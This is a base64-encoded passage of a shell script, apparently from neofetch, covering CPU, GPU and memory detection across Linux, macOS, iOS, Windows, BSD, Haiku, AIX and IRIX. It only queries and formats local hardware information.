CAgICAgICAgIGNwdT0iJHtjcHUvWzAtOV1cLip9IgogICAgICAgICAgICBjcHU9IiR7Y3B1LyBAKn0iCiAgICAgICAgICAgIGNwdT0iJHtjcHUvXChwb3J0aWQqfSIKCiAgICAgICAgICAgICMgR2V0IENQVSBzcGVlZC4KICAgICAgICAgICAgc3BlZWQ9IiQocHNyaW5mbyAtdiB8IGF3ayAnL29wZXJhdGVzIGF0LyB7cHJpbnQgJDY7IGV4aXR9JykiCgogICAgICAgICAgICAjIEdldCBDUFUgY29yZXMuCiAgICAgICAgICAgIGNhc2UgJGNwdV9jb3JlcyBpbgogICAgICAgICAgICAgICAgImxvZ2ljYWwiIHwgIm9uIikgY29yZXM9IiQoa3N0YXQgLW0gY3B1X2luZm8gfCBncmVwIC1jIC1GICJjaGlwX2lkIikiIDs7CiAgICAgICAgICAgICAgICAicGh5c2ljYWwiKSBjb3Jlcz0iJChwc3JpbmZvIC1wKSIgOzsKICAgICAgICAgICAgZXNhYwogICAgICAgIDs7CgogICAgICAgICJIYWlrdSIpCiAgICAgICAgICAgICMgR2V0IENQVSBuYW1lLgogICAgICAgICAgICBjcHU9IiQoc3lzaW5mbyAtY3B1IHwgYXdrIC1GICdcXCInICcvQ1BVICMwLyB7cHJpbnQgJDJ9JykiCiAgICAgICAgICAgIGNwdT0iJHtjcHUvQCp9IgoKICAgICAgICAgICAgIyBHZXQgQ1BVIHNwZWVkLgogICAgICAgICAgICBzcGVlZD0iJChzeXNpbmZvIC1jcHUgfCBhd2sgJy9ydW5uaW5nIGF0LyB7cHJpbnQgJE5GOyBleGl0fScpIgogICAgICAgICAgICBzcGVlZD0iJHtzcGVlZC9NSHp9IgoKICAgICAgICAgICAgIyBHZXQgQ1BVIGNvcmVzLgogICAgICAgICAgICBjb3Jlcz0iJChzeXNpbmZvIC1jcHUgfCBncmVwIC1jIC1GICdDUFUgIycpIgogICAgICAgIDs7CgogICAgICAgICJBSVgiKQogICAgICAgICAgICAjIEdldCBDUFUgbmFtZS4KICAgICAgICAgICAgY3B1PSIkKGxzYXR0ciAtRWwgcHJvYzAgLWEgdHlwZSB8IGF3ayAne3ByaW50ZiAkMn0nKSIKCiAgICAgICAgICAgICMgR2V0IENQVSBzcGVlZC4KICAgICAgICAgICAgc3BlZWQ9IiQocHJ0Y29uZiAtcyB8IGF3ayAtRic6JyAne3ByaW50ZiAkMn0nKSIKICAgICAgICAgICAgc3BlZWQ9IiR7c3BlZWQvTUh6fSIKCiAgICAgICAgICAgICMgR2V0IENQVSBjb3Jlcy4KICAgICAgICAgICAgY2FzZSAkY3B1X2NvcmVzIGluCiAgICAgICAgICAgICAgICAibG9naWNhbCIgfCAib24iKQogICAgICAgICAgICAgICAgICAgIGNvcmVzPSIkKGxwYXJzdGF0IC1pIHwgYXdrIC1GJzonICcvT25saW5lIFZpcnR1YWwgQ1BVcy8ge3ByaW50ZiAkMn0nKSIKICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgInBoeXNpY2FsIikKICAgICAgICAgICAgICAgICAgICBjb3Jlcz0iJChscGFyc3RhdCAtaSB8IGF3ayAtRic6JyAnL0FjdGl2ZSBQaHlzaWNhbCBDUFVzLyB7cHJpbnRmICQyfScpIgogICAgICAgICAgICAgICAgOzsKICAgICAgICAgICAgZXNhYwogICAgICAgIDs7CgogICAgICAgICJJUklYIikKICAgICAgICAgICAgIyBHZXQgQ1BVIG5hbWUuCiAgICAgICAgICAgIGNwdT0iJChoaW52IC1jIHByb2Nlc3NvciB8IGF3ayAtRic6JyAnL0NQVTovIHtwcmludGYgJDJ9JykiCgogICAgICAgICAgICAjIEdldCBDUFUgc3BlZWQuCiAgICAgICAgICAgIHNwZWVkPSIkKGhpbnYgLWMgcHJvY2Vzc29yIHwgYXdrICcvTUhaLyB7cHJpbnRmICQyfScpIgoKICAgICAgICAgICAgIyBHZXQgQ1BVIGNvcmVzLgogICAgICAgICAgICBjb3Jlcz0iJChzeXNjb25mIE5QUk9DX09OTE4pIgogICAgICAgIDs7CgogICAgICAgICJGcmVlTWlOVCIpCiAgICAgICAgICAgIGNwdT0iJChhd2sgLUYnOicgJy9DUFU6LyB7cHJpbnRmICQyfScgL2tlcm4vY3B1aW5mbykiCiAgICAgICAgICAgIHNwZWVkPSIkKGF3ayAtRiAnWzouTV0nICcvQ2xvY2tpbmc6LyB7cHJpbnRmICQyfScgL2tlcm4vY3B1aW5mbykiCiAgICAgICAgOzsKICAgIGVzYWMKCiAgICAjIFJlbW92ZSB1bi1uZWVkZWQgcGF0dGVybnMgZnJvbSBjcHUgb3V0cHV0LgogICAgY3B1PSIke2NwdS8vKFRNKX0iCiAgICBjcHU9IiR7Y3B1Ly8odG0pfSIKICAgIGNwdT0iJHtjcHUvLyhSKX0iCiAgICBjcHU9IiR7Y3B1Ly8ocil9IgogICAgY3B1PSIke2NwdS8vQ1BVfSIKICAgIGNwdT0iJHtjcHUvL1Byb2Nlc3Nvcn0iCiAgICBjcHU9IiR7Y3B1Ly9EdWFsLUNvcmV9IgogICAgY3B1PSIke2NwdS8vUXVhZC1Db3JlfSIKICAgIGNwdT0iJHtjcHUvL1NpeC1Db3JlfSIKICAgIGNwdT0iJHtjcHUvL0VpZ2h0LUNvcmV9IgogICAgY3B1PSIke2NwdS8vWzEtOV1bMC05XS1Db3JlfSIKICAgIGNwdT0iJHtjcHUvL1swLTldLUNvcmV9IgogICAgY3B1PSIke2NwdS8vLCAqIENvbXB1dGUgQ29yZXN9IgogICAgY3B1PSIke2NwdS8vQ29yZSAvIH0iCiAgICBjcHU9IiR7Y3B1Ly8oXCJBdXRoZW50aWNBTURcIiopfSIKICAgIGNwdT0iJHtjcHUvL3dpdGggUmFkZW9uICogR3JhcGhpY3N9IgogICAgY3B1PSIke2NwdS8vLCBhbHRpdmVjIHN1cHBvcnRlZH0iCiAgICBjcHU9IiR7Y3B1Ly9GUFUqfSIKICAgIGNwdT0iJHtjcHUvL0NoaXAgUmV2aXNpb24qfSIKICAgIGNwdT0iJHtjcHUvL1RlY2hub2xvZ2llcywgSW5jfSIKICAgIGNwdT0iJHtjcHUvL0NvcmUyL0NvcmUgMn0iCgogICAgIyBUcmltIHNwYWNlcyBmcm9tIGNvcmUgYW5kIHNwZWVkIG91dHB1dAogICAgY29yZXM9IiR7Y29yZXMvL1tbOnNwYWNlOl1dfSIKICAgIHNwZWVkPSIke3NwZWVkLy9bWzpzcGFjZTpdXX0iCgogICAgIyBSZW1vdmUgQ1BVIGJyYW5kIGZyb20gdGhlIG91dHB1dC4KICAgIGlmIFtbICIkY3B1X2JyYW5kIiA9PSAib2ZmIiBdXTsgdGhlbgogICAgICAgIGNwdT0iJHtjcHUvQU1EIH0iCiAgICAgICAgY3B1PSIke2NwdS9JbnRlbCB9IgogICAgICAgIGNwdT0iJHtjcHUvQ29yZT8gRHVvIH0iCiAgICAgICAgY3B1PSIke2NwdS9RdWFsY29tbSB9IgogICAgZmkKCiAgICAjIEFkZCBDUFUgY29yZXMgdG8gdGhlIG91dHB1dC4KICAgIFtbICIkY3B1X2NvcmVzIiAhPSAib2ZmIiAmJiAiJGNvcmVzIiBdXSAmJiBcCiAgICAgICAgY2FzZSAkb3MgaW4KICAgICAgICAgICAgIk1hYyBPUyBYInwibWFjT1MiKSBjcHU9IiR7Y3B1L0AvKCR7Y29yZXN9KSBAfSIgOzsKICAgICAgICAgICAgKikgICAgICAgICAgICAgICAgICBjcHU9IiRjcHUgKCRjb3JlcykiIDs7CiAgICAgICAgZXNhYwoKICAgICMgQWRkIENQVSBzcGVlZCB0byB0aGUgb3V0cHV0LgogICAgaWYgW1sgIiRjcHVfc3BlZWQiICE9ICJvZmYiICYmICIkc3BlZWQiIF1dOyB0aGVuCiAgICAgICAgaWYgKCggc3BlZWQgPCAxMDAwICkpOyB0aGVuCiAgICAgICAgICAgIGNwdT0iJGNwdSBAICR7c3BlZWR9TUh6IgogICAgICAgIGVsc2UKICAgICAgICAgICAgW1sgIiRzcGVlZF9zaG9ydGhhbmQiID09ICJvbiIgXV0gJiYgc3BlZWQ9IiQoKHNwZWVkIC8gMTAwKSkiCiAgICAgICAgICAgIHNwZWVkPSIke3NwZWVkOjA6MX0uJHtzcGVlZDoxfSIKICAgICAgICAgICAgY3B1PSIkY3B1IEAgJHtzcGVlZH1HSHoiCiAgICAgICAgZmkKICAgIGZpCgogICAgIyBBZGQgQ1BVIHRlbXAgdG8gdGhlIG91dHB1dC4KICAgIGlmIFtbICIkY3B1X3RlbXAiICE9ICJvZmYiICYmICIkZGVnIiBdXTsgdGhlbgogICAgICAgIGRlZz0iJHtkZWcvLy59IgoKICAgICAgICAjIENvbnZlcnQgdG8gRmFocmVuaGVpdCBpZiBlbmFibGVkCiAgICAgICAgW1sgIiRjcHVfdGVtcCIgPT0gIkYiIF1dICYmIGRlZz0iJCgoZGVnICogOTAgLyA1MCArIDMyMCkpIgoKICAgICAgICAjIEZvcm1hdCB0aGUgb3V0cHV0CiAgICAgICAgZGVnPSJbJHtkZWcvJHtkZWc6IC0xfX0uJHtkZWc6IC0xfcKwJHtjcHVfdGVtcDotQ31dIgogICAgICAgIGNwdT0iJGNwdSAkZGVnIgogICAgZmkKfQoKZ2V0X2dwdSgpIHsKICAgIGNhc2UgJG9zIGluCiAgICAgICAgIkxpbnV4IikKICAgICAgICAgICAgIyBSZWFkIEdQVXMgaW50byBhcnJheS4KICAgICAgICAgICAgZ3B1X2NtZD0iJChsc3BjaSAtbW0gfAogICAgICAgICAgICAgICAgICAgICAgIGF3ayAtRiAnXCJ8XCIgXCJ8XFwoJyBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICcvIkRpc3BsYXl8IjNEfCJWR0EvIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFbJDBdID0gJDEgIiAiICQzICIgIiAoJChORi0xKSB+IC9eJHxeRGV2aWNlIFtbOnhkaWdpdDpdXSskLyA/ICQ0IDogJChORi0xKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFTkQgeyBmb3IgKGkgaW4gYSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFzZWVuW2FbaV1dKyspIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWIoIl5bXiBdKyAiLCAiIiwgYVtpXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgYVtpXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9fScpIgogICAgICAgICAgICBJRlM9JCdcbicgcmVhZCAtZCAiIiAtcmEgZ3B1cyA8PDwgIiRncHVfY21kIgoKICAgICAgICAgICAgIyBSZW1vdmUgZHVwbGljYXRlIEludGVsIEdyYXBoaWNzIG91dHB1dHMuCiAgICAgICAgICAgICMgVGhpcyBmaXhlcyBjYXNlcyB3aGVyZSB0aGUgb3V0cHV0cyBhcmUgYm90aAogICAgICAgICAgICAjIEludGVsIGJ1dCBub3QgZW50aXJlbHkgaWRlbnRpY2FsLgogICAgICAgICAgICAjCiAgICAgICAgICAgICMgQ2hlY2tpbmcgdGhlIGZpcnN0IHR3byBhcnJheSBlbGVtZW50cyBzaG91bGQKICAgICAgICAgICAgIyBiZSBzYWZlIHNpbmNlIHRoZXJlIHdvbid0IGJlIDIgaW50ZWwgb3V0cHV0cyBpZgogICAgICAgICAgICAjIHRoZXJlJ3MgYSBkZWRpY2F0ZWQgR1BVIGluIHBsYXkuCiAgICAgICAgICAgIFtbICIke2dwdXNbMF19IiA9PSAqSW50ZWwqICYmICIke2dwdXNbMV19IiA9PSAqSW50ZWwqIF1dICYmIHVuc2V0IC12ICJncHVzWzBdIgoKICAgICAgICAgICAgZm9yIGdwdSBpbiAiJHtncHVzW0BdfSI7IGRvCiAgICAgICAgICAgICAgICAjIEdQVSBzaG9ydGhhbmQgdGVzdHMuCiAgICAgICAgICAgICAgICBbWyAiJGdwdV90eXBlIiA9PSAiZGVkaWNhdGVkIiAmJiAiJGdwdSIgPT0gKkludGVsKiBdXSB8fCBcCiAgICAgICAgICAgICAgICBbWyAiJGdwdV90eXBlIiA9PSAiaW50ZWdyYXRlZCIgJiYgISAiJGdwdSIgPT0gKkludGVsKiBdXSAmJiBcCiAgICAgICAgICAgICAgICAgICAgeyB1bnNldCAtdiBncHU7IGNvbnRpbnVlOyB9CgogICAgICAgICAgICAgICAgY2FzZSAkZ3B1IGluCiAgICAgICAgICAgICAgICAgICAgKiJBZHZhbmNlZCIqKQogICAgICAgICAgICAgICAgICAgICAgICBicmFuZD0iJHtncHUvKkFNRCpBVEkqL0FNRCBBVEl9IgogICAgICAgICAgICAgICAgICAgICAgICBicmFuZD0iJHticmFuZDotJHtncHUvKkFNRCovQU1EfX0iCiAgICAgICAgICAgICAgICAgICAgICAgIGJyYW5kPSIke2JyYW5kOi0ke2dwdS8qQVRJKi9BVGl9fSIKCiAgICAgICAgICAgICAgICAgICAgICAgIGdwdT0iJHtncHUvXFtBTURcL0FUSVxdIH0iCiAgICAgICAgICAgICAgICAgICAgICAgIGdwdT0iJHtncHUvXFtBTURcXSB9IgogICAgICAgICAgICAgICAgICAgICAgICBncHU9IiR7Z3B1L09FTSB9IgogICAgICAgICAgICAgICAgICAgICAgICBncHU9IiR7Z3B1L0FkdmFuY2VkIE1pY3JvIERldmljZXMsIEluYy59IgogICAgICAgICAgICAgICAgICAgICAgICBncHU9IiR7Z3B1LypcW30iCiAgICAgICAgICAgICAgICAgICAgICAgIGdwdT0iJHtncHUvXF0qfSIKICAgICAgICAgICAgICAgICAgICAgICAgZ3B1PSIkYnJhbmQgJGdwdSIKICAgICAgICAgICAgICAgICAgICA7OwoKICAgICAgICAgICAgICAgICAgICAqIk5WSURJQSIqKQogICAgICAgICAgICAgICAgICAgICAgICBncHU9IiR7Z3B1LypcW30iCiAgICAgICAgICAgICAgICAgICAgICAgIGdwdT0iJHtncHUvXF0qfSIKICAgICAgICAgICAgICAgICAgICAgICAgZ3B1PSJOVklESUEgJGdwdSIKICAgICAgICAgICAgICAgICAgICA7OwoKICAgICAgICAgICAgICAgICAgICAqIkludGVsIiopCiAgICAgICAgICAgICAgICAgICAgICAgIGdwdT0iJHtncHUvKkludGVsL0ludGVsfSIKICAgICAgICAgICAgICAgICAgICAgICAgZ3B1PSIke2dwdS9cKFJcKX0iCiAgICAgICAgICAgICAgICAgICAgICAgIGdwdT0iJHtncHUvQ29ycG9yYXRpb259IgogICAgICAgICAgICAgICAgICAgICAgICBncHU9IiR7Z3B1LyBcKCp9IgogICAgICAgICAgICAgICAgICAgICAgICBncHU9IiR7Z3B1L0ludGVncmF0ZWQgR3JhcGhpY3MgQ29udHJvbGxlcn0iCiAgICAgICAgICAgICAgICAgICAgICAgIGdwdT0iJHtncHUvKlhlb24qL0ludGVsIEhEIEdyYXBoaWNzfSIKCiAgICAgICAgICAgICAgICAgICAgICAgIFtbIC16ICIkKHRyaW0gIiRncHUiKSIgXV0gJiYgZ3B1PSJJbnRlbCBJbnRlZ3JhdGVkIEdyYXBoaWNzIgogICAgICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgICAgICoiTUNTVCIqKQogICAgICAgICAgICAgICAgICAgICAgICBncHU9IiR7Z3B1LypNQ1NUKk1HQTIqL01DU1QgTUdBMn0iCiAgICAgICAgICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAgICAgKiJWaXJ0dWFsQm94IiopCiAgICAgICAgICAgICAgICAgICAgICAgIGdwdT0iVmlydHVhbEJveCBHcmFwaGljcyBBZGFwdGVyIgogICAgICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgICAgICopIGNvbnRpbnVlIDs7CiAgICAgICAgICAgICAgICBlc2FjCgogICAgICAgICAgICAgICAgaWYgW1sgIiRncHVfYnJhbmQiID09ICJvZmYiIF1dOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgZ3B1PSIke2dwdS9BTUQgfSIKICAgICAgICAgICAgICAgICAgICBncHU9IiR7Z3B1L05WSURJQSB9IgogICAgICAgICAgICAgICAgICAgIGdwdT0iJHtncHUvSW50ZWwgfSIKICAgICAgICAgICAgICAgIGZpCgogICAgICAgICAgICAgICAgcHJpbiAiJHtzdWJ0aXRsZTorJHtzdWJ0aXRsZX0ke2dwdV9uYW1lfX0iICIkZ3B1IgogICAgICAgICAgICBkb25lCgogICAgICAgICAgICByZXR1cm4KICAgICAgICA7OwoKICAgICAgICAiTWFjIE9TIFgifCJtYWNPUyIpCiAgICAgICAgICAgIGlmIFtbIC1mICIke2NhY2hlX2Rpcn0vbmVvZmV0Y2gvZ3B1IiBdXTsgdGhlbgogICAgICAgICAgICAgICAgc291cmNlICIke2NhY2hlX2Rpcn0vbmVvZmV0Y2gvZ3B1IgoKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgZ3B1PSIkKHN5c3RlbV9wcm9maWxlciBTUERpc3BsYXlzRGF0YVR5cGUgfFwKICAgICAgICAgICAgICAgICAgICAgICBhd2sgLUYnOiAnICcvXlwgKkNoaXBzZXQgTW9kZWw6LyB7cHJpbnRmICQyICIsICJ9JykiCiAgICAgICAgICAgICAgICBncHU9IiR7Z3B1Ly9cLyBcJH0iCiAgICAgICAgICAgICAgICBncHU9IiR7Z3B1JSwqfSIKCiAgICAgICAgICAgICAgICBjYWNoZSAiZ3B1IiAiJGdwdSIKICAgICAgICAgICAgZmkKICAgICAgICA7OwoKICAgICAgICAiaVBob25lIE9TIikKICAgICAgICAgICAgY2FzZSAka2VybmVsX21hY2hpbmUgaW4KICAgICAgICAgICAgICAgICJpUGhvbmUxLCJbMS0yXSk6ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUG93ZXJWUiBNQlggTGl0ZSAzRCIgOzsKICAgICAgICAgICAgICAgICJpUGhvbmUyLDEiIHwgImlQaG9uZTMsIlsxLTNdIHwgImlQb2QzLDEiIHwgImlQb2Q0LDEiIHwgImlQYWQxLDEiKToKICAgICAgICAgICAgICAgICAgICAiUG93ZXJWUiBTR1g1MzUiCiAgICAgICAgICAgICAgICA7OwogICAgICAgICAgICAgICAgImlQaG9uZTQsMSIgfCAiaVBhZDIsIlsxLTddIHwgImlQb2Q1LDEiKTogICAgICJQb3dlclZSIFNHWDU0M01QMiIgOzsKICAgICAgICAgICAgICAgICJpUGhvbmU1LCJbMS00XSk6ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUG93ZXJWUiBTR1g1NDNNUDMiIDs7CiAgICAgICAgICAgICAgICAiaVBob25lNiwiWzEtMl0gfCAiaVBhZDQsIlsxLTldKTogICAgICAgICAgICAgIlBvd2VyVlIgRzY0MzAiIDs7CiAgICAgICAgICAgICAgICAiaVBob25lNywiWzEtMl0gfCAiaVBvZDcsMSIgfCAiaVBhZDUsIlsxLTJdKTogIlBvd2VyVlIgR1g2NDUwIiA7OwogICAgICAgICAgICAgICAgImlQaG9uZTgsIlsxLTRdIHwgImlQYWQ2LDEiWzEyXSk6ICAgICAgICAgICAgICJQb3dlclZSIEdUNzYwMCIgOzsKICAgICAgICAgICAgICAgICJpUGhvbmU5LCJbMS00XSB8ICJpUGFkNywiWzUtNl0pOiAgICAgICAgICAgICAiUG93ZXJWUiBHVDc2MDAgUGx1cyIgOzsKICAgICAgICAgICAgICAgICJpUGhvbmUxMCwiWzEtNl0pOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQXBwbGUgRGVzaWduZWQgR1BVIChBMTEpIiA7OwogICAgICAgICAgICAgICAgImlQaG9uZTExLCJbMjQ2OF0gfCAiaVBhZDExLCJbNjddKTogICAgICAgICAgICJBcHBsZSBEZXNpZ25lZCBHUFUgKEExMikiIDs7CiAgICAgICAgICAgICAgICAiaVBob25lMTIsIlsxMzU4XSk6ICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFwcGxlIERlc2lnbmVkIEdQVSAoQTEzKSIgOzsKICAgICAgICAgICAgICAgICJpUGhvbmUxMywiWzEyMzRdIHwgImlQYWQxMywiWzEyXSk6ICAgICAgICAgICAiQXBwbGUgRGVzaWduZWQgR1BVIChBMTQpIiA7OwoKICAgICAgICAgICAgICAgICJpUGFkMywiWzEtM10pOiAgICAgIlBvd2VyVlIgU0dYNTM0TVA0IiA7OwogICAgICAgICAgICAgICAgImlQYWQzLCJbNC02XSk6ICAgICAiUG93ZXJWUiBTR1g1NTRNUDQiIDs7CiAgICAgICAgICAgICAgICAiaVBhZDUsIlszLTRdKTogICAgICJQb3dlclZSIEdYQTY4NTAiIDs7CiAgICAgICAgICAgICAgICAiaVBhZDYsIlszLThdKTogICAgICJQb3dlclZSIDdYVCIgOzsKCiAgICAgICAgICAgICAgICAiaVBvZDEsMSIgfCAiaVBvZDIsMSIpCiAgICAgICAgICAgICAgICAgICAgOiAiUG93ZXJWUiBNQlggTGl0ZSIKICAgICAgICAgICAgICAgIDs7CiAgICAgICAgICAgIGVzYWMKICAgICAgICAgICAgZ3B1PSIkXyIKICAgICAgICA7OwoKICAgICAgICAiV2luZG93cyIpCiAgICAgICAgICAgIHdtaWMgcGF0aCBXaW4zMl9WaWRlb0NvbnRyb2xsZXIgZ2V0IGNhcHRpb24gfCB3aGlsZSByZWFkIC1yIGxpbmU7IGRvCiAgICAgICAgICAgICAgICBsaW5lPSQodHJpbSAiJGxpbmUiKQoKICAgICAgICAgICAgICAgIGNhc2UgJGxpbmUgaW4KICAgICAgICAgICAgICAgICAgICAqQ2FwdGlvbip8JycpCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAgICAgKikKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbiAiJHtzdWJ0aXRsZTorJHtzdWJ0aXRsZX0ke2dwdV9uYW1lfX0iICIkbGluZSIKICAgICAgICAgICAgICAgICAgICA7OwogICAgICAgICAgICAgICAgZXNhYwogICAgICAgICAgICBkb25lCiAgICAgICAgOzsKCiAgICAgICAgIkhhaWt1IikKICAgICAgICAgICAgZ3B1PSIkKGxpc3RkZXYgfCBncmVwIC1BMiAtRiAnZGV2aWNlIERpc3BsYXkgY29udHJvbGxlcicgfFwKICAgICAgICAgICAgICAgICAgIGF3ayAtRic6JyAnL2RldmljZSBiZWVmLyB7cHJpbnQgJDJ9JykiCiAgICAgICAgOzsKCiAgICAgICAgKikKICAgICAgICAgICAgY2FzZSAka2VybmVsX25hbWUgaW4KICAgICAgICAgICAgICAgICJGcmVlQlNEIiogfCAiRHJhZ29uRmx5IiopCiAgICAgICAgICAgICAgICAgICAgZ3B1PSIkKHBjaWNvbmYgLWx2IHwgZ3JlcCAtQiA0IC1GICJWR0EiIHwgZ3JlcCAtRiAiZGV2aWNlIikiCiAgICAgICAgICAgICAgICAgICAgZ3B1PSIke2dwdS8qZGV2aWNlKj0gfSIKICAgICAgICAgICAgICAgICAgICBncHU9IiQodHJpbV9xdW90ZXMgIiRncHUiKSIKICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgKikKICAgICAgICAgICAgICAgICAgICBncHU9IiQoZ2x4aW5mbyAtQiB8IGdyZXAgLUYgJ09wZW5HTCByZW5kZXJlciBzdHJpbmcnKSIKICAgICAgICAgICAgICAgICAgICBncHU9IiR7Z3B1L09wZW5HTCByZW5kZXJlciBzdHJpbmc6IH0iCiAgICAgICAgICAgICAgICA7OwogICAgICAgICAgICBlc2FjCiAgICAgICAgOzsKICAgIGVzYWMKCiAgICBpZiBbWyAiJGdwdV9icmFuZCIgPT0gIm9mZiIgXV07IHRoZW4KICAgICAgICBncHU9IiR7Z3B1L0FNRH0iCiAgICAgICAgZ3B1PSIke2dwdS9OVklESUF9IgogICAgICAgIGdwdT0iJHtncHUvSW50ZWx9IgogICAgZmkKfQoKZ2V0X21lbW9yeSgpIHsKICAgIGNhc2UgJG9zIGluCiAgICAgICAgIkxpbnV4IiB8ICJXaW5kb3dzIikKICAgICAgICAgICAgIyBNZW1Vc2VkID0gTWVtdG90YWwgKyBTaG1lbSAtIE1lbUZyZWUgLSBCdWZmZXJzIC0gQ2FjaGVkIC0gU1JlY2xhaW1hYmxlCiAgICAgICAgICAgICMgU291cmNlOiBodHRwczovL2dpdGh1Yi5jb20vS2l0dHlLYXR0L3NjcmVlbkZldGNoL2lzc3Vlcy8zODYjaXNzdWVjb21tZW50LTI0OTMxMjcxNgogICAgICAgICAgICB3aGlsZSBJRlM9IjoiIHJlYWQgLXIgYSBiOyBkbwogICAgICAgICAgICAgICAgY2FzZSAkYSBpbgogICAgICAgICAgICAgICAgICAgICJNZW1Ub3RhbCIpICgobWVtX3VzZWQrPSR7Yi9rQn0pKTsgbWVtX3RvdGFsPSIke2Iva0J9IiA7OwogICAgICAgICAgICAgICAgICAgICJTaG1lbSIpICgobWVtX3VzZWQrPSR7Yi9rQn0pKSAgOzsKICAgICAgICAgICAgICAgICAgICAiTWVtRnJlZSIgfCAiQnVmZmVycyIgfCAiQ2FjaGVkIiB8ICJTUmVjbGFpbWFibGUiKQogICAgICAgICAgICAgICAgICAgICAgICBtZW1fdXNlZD0iJCgobWVtX3VzZWQtPSR7Yi9rQn0pKSIKICAgICAgICAgICAgICAgICAgICA7OwoKICAgICAgICAgICAgICAgICAgICAjIEF2YWlsYWJsZSBzaW5jZSBMaW51eCAzLjE0cmMgKDM0ZTQzMWIwYWUzOThmYzU0ZWE2OWZmODVlYzcwMDcyMmM5ZGE3NzMpLgogICAgICAgICAgICAgICAgICAgICMgSWYgZGV0ZWN0ZWQgdGhpcyB3aWxsIGJlIHVzZWQgb3ZlciB0aGUgYWJvdmUgY2FsY3VsYXRpb24gZm9yIG1lbV91c2VkLgogICAgICAgICAgICAgICAgICAgICJNZW1BdmFpbGFibGUiKQogICAgICAgICAgICAgICAgICAgICAgICBtZW1fYXZhaWw9JHtiL2tCfQogICAgICAgICAgICAgICAgICAgIDs7CiAgICAgICAgICAgICAgICBlc2FjCiAgICAgICAgICAgIGRvbmUgPCAvcHJvYy9tZW1pbmZvCgogICAgICAgICAgICBpZiBbWyAkbWVtX2F2YWlsIF1dOyB0aGVuCiAgICAgICAgICAgICAgICBtZW1fdXNlZD0kKCgobWVtX3RvdGFsIC0gbWVtX2F2YWlsKSAvIDEwMjQpKQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICBtZW1fdXNlZD0iJCgobWVtX3VzZWQgLyAxMDI0KSkiCiAgICAgICAgICAgIGZpCgogICAgICAgICAgICBtZW1fdG90YWw9IiQoKG1lbV90b3RhbCAvIDEwMjQpKSIKICAgICAgICA7OwoKICAgICAgICAiTWFjIE9TIFgiIHwgIm1hY09TIiB8ICJpUGhvbmUgT1MiKQogICAgICAgICAgICBod19wYWdlc2l6ZT0iJChzeXNjdGwgLW4gaHcucGFnZXNpemUpIgogICAgICAgICAgICBtZW1fdG90YWw9IiQoKCQoc3lzY3RsIC1uIGh3Lm1lbXNpemUpIC8gMTAyNCAvIDEwMjQpKSIKICAgICAgICAgICAgcGFnZXNfYXBwPSIkKCgkKHN5c2N0bCAtbiB2bS5wYWdlX3BhZ2VhYmxlX2ludGVybmFsX2NvdW50KSAtICQoc3lzY3RsIC1uIHZtLnBhZ2VfcHVyZ2VhYmxlX2NvdW50KSkpIgogICAgICAgICAgICBwYWdlc193aXJlZD0iJCh2bV9zdGF0IHwgYXdrICcvIHdpcmVkLyB7IHByaW50ICQ0IH0nKSIKICAgICAgICAgICAgcGFnZXNfY29tcHJlc3NlZD0iJCh2bV9zdGF0IHwgYXdrICcvIG9jY3VwaWVkLyB7IHByaW50ZiAkNSB9JykiCiAgICAgICAgICAgIHBhZ2VzX2NvbXByZXNzZWQ9IiR7cGFnZXNfY29tcHJlc3NlZDotMH0iCiAgICAgICAgICAgIG1lbV91c2VkPSIkKCgoJHtwYWdlc19hcHB9ICsgJHtwYWdlc193aXJlZC8vLn0gKyAke3BhZ2VzX2NvbXByZXNzZWQvLy59KSAqIGh3X3BhZ2VzaXplIC8gMTAyNCAvIDEwMjQpKSIKICAgICAgICA7OwoKICAgICAgICAiQlNEIiB8ICJNSU5JWCIpCiAgICAgICAgICAgICMgTWVtIHRvdGFsLgogICAgICAgICAgICBjYXNlICRrZXJuZWxfbmFtZSBpbgogICAgICAgICAgICAgICAgIk5ldEJTRCIqKSBtZW1fdG90YWw9IiQoKCQoc3lzY3RsIC1uIGh3LnBoeXNtZW02NCkgLyAxMDI0IC8gMTAyNCkpIiA7OwogICAgICAgICAgICAgICAgKikgbWVtX3RvdGFsPSIkKCgkKHN5c2N0bCAtbiBody5waHlzbWVtKSAvIDEwMjQgLyAxMDI0KSkiIDs7CiAgICAgICAgICAgIGVzYWMKCiAgICAgICAgICAgICMgTWVtIGZyZWUuCiAgICAgICAgICAgIGNhc2UgJGtlcm5lbF9uYW1lIGluCiAgICAgICAgICAgICAgICAiTmV0QlNEIiopCiAgICAgICAgICAgICAgICAgICAgbWVtX2ZyZWU9IiQoKCQoYXdrIC1GICc6fGtCJyAnL01lbUZyZWU6LyB7cHJpbnRmICQyfScgL3Byb2MvbWVtaW5mbykgLyAxMDI0KSkiCiAgICAgICAgICAgICAgICA7OwoKICAgICAgICAgICAgICAgICJGcmVlQlNEIiogfCAiRHJhZ29uRmx5IiopCiAgICAgICAgICAgICAgICAgICAgaHdfcGFnZXNpemU9IiQoc3lzY3RsIC1uIGh3LnBhZ2VzaXplKSIKICAgICAgICAgICAgICAgICAgICBtZW1faW5hY3RpdmU9IiQoKCQoc3lzY3RsIC1uIHZtLnN